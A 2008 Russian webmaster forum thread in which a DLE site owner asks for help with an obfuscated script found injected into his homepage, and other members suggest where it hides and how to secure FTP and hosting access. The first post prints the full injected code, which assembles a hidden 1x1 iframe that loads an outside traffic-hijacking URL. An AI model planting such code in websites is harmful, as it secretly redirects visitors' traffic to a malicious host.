X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> помогите разобраться с кодом
PiT
PiT
Topic Starter сообщение 23.10.2008, 13:15; Ответить: PiT
Сообщение #1


Помогите пожалуйста разобраться со скриптом!
Сайт ridiska.ru, при просмотре в виде хтмл главной страницы на 38ой строке стоит какойто не понятный скрипт
<script>var tir="<";var bqg="i";var nkioa=" ";var asyji="aqisc='NWYyI11m' xacop='4MJ8fXZ0' src=";var hwkly="ame>";var fzzfr="org/go/in.cgi?3";var wdmqx="?xYV ";var idn="f";var qpt="r";var yxi="a";var gycga="yuyot='ZJtOAa1R' dqtaw='CUyQjotE' iebbv='MDvOJK6s' ";var fko="m";var nsd="e";var rtsvd="width=1 ";var vasrz="http://gotraff.";var bnhlf="height=1 ";var mixbi="style='display:none'";var lixbv=vasrz+fzzfr;var iyzqb="></ifr";document.write(tir+bqg+idn+qpt+yxi+fko+nsd+nkioa+asyji+lixbv+wdmqx+gycga+r
tsvd+bnhlf+mixbi+iyzqb+hwkly);</script>

Один из админов партнерки подсказал что он тырит трафик!
При открытии файла main.tpl этого скрипта нет, через админку движка его тоже не видно((
Помогите найти где можно удалить этот скрипт...
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
calfetko
calfetko
сообщение 23.10.2008, 13:18; Ответить: calfetko
Сообщение #2


У меня есть предположение, что этот скрипт в строен в индоксовую страницу движка, покопайтесь в index.php и кстати что за движок?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
horniest
horniest
сообщение 23.10.2008, 13:23; Ответить: horniest
Сообщение #3


троян
покопайтесь не только в index но и в page (php)
поменяйте пароль на ФТП


--------------------


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Noindex
Noindex
сообщение 23.10.2008, 13:29; Ответить: Noindex
Сообщение #4


да - трафик идет на _http://gotraff.org.

Сообщение отредактировал Noindex - 23.10.2008, 13:29


--------------------
На правах рерайта: Утро вечера умнее - To take counsel of one's pillow . Буквально - Советоваться со своей подушкой.
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
brabus55
brabus55
сообщение 23.10.2008, 13:35; Ответить: brabus55
Сообщение #5


Это вообще то не троян а эксплоит.И находится он либо index.php в самом конце кода.Пишите вашему хостеру пуская проверяет защиту свою.У меня было такое,написал,поменял пароли все и все стало нормально.А до этого менял пароли и все равно ломали его.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PiT
PiT
Topic Starter сообщение 23.10.2008, 15:18; Ответить: PiT
Сообщение #6


движок ДЛЕ!
пароль менять от входа по фтп?

Сообщение отредактировал PiT - 23.10.2008, 15:28
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Martin-one
Martin-one
сообщение 23.10.2008, 15:20; Ответить: Martin-one
Сообщение #7


Как выше и указали, ищите в index.php. Советую не сохранять в фтп менеджерах установленных на вашем компьютере параметры для подключения, т.к. очень часто трояны тырят информацию именно от туда, хотя может и действительно виноват хостер.

P.S. Не советую выкладывать полный код страницы, практически даете "ключи от квартиры где деньги лежат" smile.gif

Сообщение отредактировал Martin-one - 23.10.2008, 15:22


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
agentvini
agentvini
сообщение 23.10.2008, 15:25; Ответить: agentvini
Сообщение #8


смените пасс на хостинге, так как скорее всего эта дрянь к вам пробралась когда Вы в фтп сессии были, и проверьте Ваш комп на вирусы


--------------------
Профессиональная разработка сайтов на MODx
реализуем все ваши идеи качественно и быстро
цена от 500$ (skype sanche.s)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
PiT
PiT
Topic Starter сообщение 23.10.2008, 15:33; Ответить: PiT
Сообщение #9


спасибо, учту!
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
agentvini
agentvini
сообщение 23.10.2008, 15:36; Ответить: agentvini
Сообщение #10


почитай тут http://:)/topic6586.html

Замечание модератора:
Эта тема была закрыта автоматически ввиду отсутствия активности в ней на протяжении 100+ дней.
Если Вы считаете ее актуальной и хотите оставить сообщение, то воспользуйтесь кнопкой
или обратитесь к любому из модераторов.


--------------------
Профессиональная разработка сайтов на MODx
реализуем все ваши идеи качественно и быстро
цена от 500$ (skype sanche.s)


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Помогите вспомнить рекламного бота Телеграм для обмена рекламой
0 Mixatraider 692 21.2.2024, 23:42
автор: Mixatraider
Открытая тема (нет новых ответов) Помогите рещить проблему с монитором.
Почему низкое разрешение при подключении монитора через displayport?
0 Levels 1695 11.12.2020, 0:48
автор: Levels
Открытая тема (нет новых ответов) Помогите кто нибудь получить партнерку Росбанк!
7 heisenberg_mw 2315 7.8.2020, 9:28
автор: heisenberg_mw
Открытая тема (нет новых ответов) Помогите найти тему пожалуйста
7 virtas 12398 24.7.2020, 17:02
автор: -JamesSmips-
Открытая тема (нет новых ответов) Помогите с поиском доноров
3 tehno_music 3331 4.11.2019, 17:15
автор: goblin78


 



RSS Текстовая версия Сейчас: 28.3.2024, 14:52
Дизайн